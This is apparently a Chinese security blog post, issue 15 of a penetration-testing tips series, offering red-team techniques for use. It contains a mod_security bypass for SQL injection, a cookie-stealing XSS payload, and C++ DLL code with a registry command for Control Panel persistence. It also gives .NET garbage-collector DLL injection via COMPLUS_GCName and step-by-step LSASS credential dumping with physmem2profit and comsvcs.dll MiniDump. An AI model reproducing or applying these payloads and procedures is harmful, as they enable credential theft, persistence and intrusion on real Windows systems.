第十五期
前十四期在公众号对话页面回复tips获得标题。
日后会不定期更新国内外找来的渗透和红队技巧
以下内容已加入肯德基豪华午餐。
https://github.com/xiaoy-sec/Pentest_Note
目录
-
Xss和注入bypass mod_security
-
通过控制面板加载项执行命令/权限维持
-
查找git和svn的字典
-
Top 25 重定向dorks
-
使用grep快速去除垃圾数据
-
通过自定义.net垃圾回收机制进行DLL注入
-
远程LSASS进程转储-Physmem2profit
Xss和注入bypass mod_security
From:@_Y000_
/*!50000%75%6e%69on*/%73%65%6cect 1,2,3,4... –
<marquee loop=1width=0 onfinish=pru006fmpt(document.cookie)>Y000</marquee>
/*!50000%75%6e%69on*/ %73%65%6cect1,2,3,4,5—
%75%6e%69on = union
%73%65%6cect = select
%75%6e%69 = uni = url encode
%73%65%6c = sel = url encode
通过控制面板加载项执行命令/权限维持
//Cplapplet
extern "C" __declspec(dllexport)LONG Cplapplet(
HWND hwndCpl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
)
{
MessageBoxA(NULL, " inject control panel.", "ControlPanel", 0);
return 1;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
Cplapplet(NULL, NULL, NULL, NULL);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
reg add "HKCUSoftwareMicrosoftWindowsCurrentVersionControlPanelCPLs" /v spotless /d "C:xxxdll.dll" /f
打开控制面板即可加载恶意DLL
查找git和svn的字典
Top 25 重定向dorks
From:@lutfumertceylan
使用grep快速去除垃圾数据
From:@imranparray101
curl http://host.xx/file.js | grep -Eo"(http|https)://[a-zA-Z0-9./?=_-]*"*
cat file | grep -Eo"(http|https)://[a-zA-Z0-9./?=_-]*"*
通过自定义.net垃圾回收机制进行DLL注入
低权限用户可指定.net应用程序使用自定义垃圾收集器(GC),一个自定义GC可以以COMPLUS_GCName此环境变量指定,只需将此环境变量指向到恶意DLL,自定义GC的DLL需要一个名为GC_VersionInfo的导出表。
下面是个弹框DLL
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
struct VersionInfo
{
UINT32 MajorVersion;
UINT32 MinorVersion;
UINT32 BuildVersion;
const char* Name;
};
extern "C" __declspec(dllexport)void GC_VersionInfo(VersionInfo * info)
{
info->BuildVersion = 0;
info->MinorVersion = 0;
info->BuildVersion = 0;
MessageBoxA(NULL, "giao", "giao", 0);
}
后执行任意.net程序可加载此DLL
当然也可以加载shellcode
https://github.com/am0nsec/MCGC
远程LSASS进程转储-Physmem2profit
https://github.com/FSecureLABS/physmem2profit
mimikatz被多数安全人员用来获取凭据,但现在的AV/EDR很轻易的识别并查杀,这里不在服务器端使用mimikatz,远程对lsass进程进行转储。
服务器端直接使用visual studio构建
physmem2profit-publicserver
客户端
git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.git
客户端这里先安装
>bash physmem2profit/client/install.sh
需要将此文件
https://github.com/Velocidex/c-aff4/raw/master/tools/pmem/resources/winpmem/att_winpmem_64.sys
传到目标服务器,我这里存放在c:windowstemp中
服务器端执行
>Physmem2profit.exe --ip 192.168.0.98--port 8888 –verbose这里的IP是服务器端IP
攻击端安装所需模块
攻击端执行
>sourcephysmem2profit/client/.env/bin/activate
>cd physmem2profit/client
>python3 physmem2profit --mode all--host 192.168.0.98 --port 8888 --drive winpmem --install'c:windowstempatt_winpmem_64.sys' --label test
服务器端可以看到
把生成的dmp文件转移到win系统上使用mimikatz即可获得hash,当然也可以在linux上使用pypykatz。
再来一条转储lsass进程的命令
要以system权限执行
rundll32.exe C:WindowsSystem32comsvcs.dll MiniDump <lsass pid> lsass.dmp full
本文始发于微信公众号(关注安全技术):渗透Tips - 第十五期
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论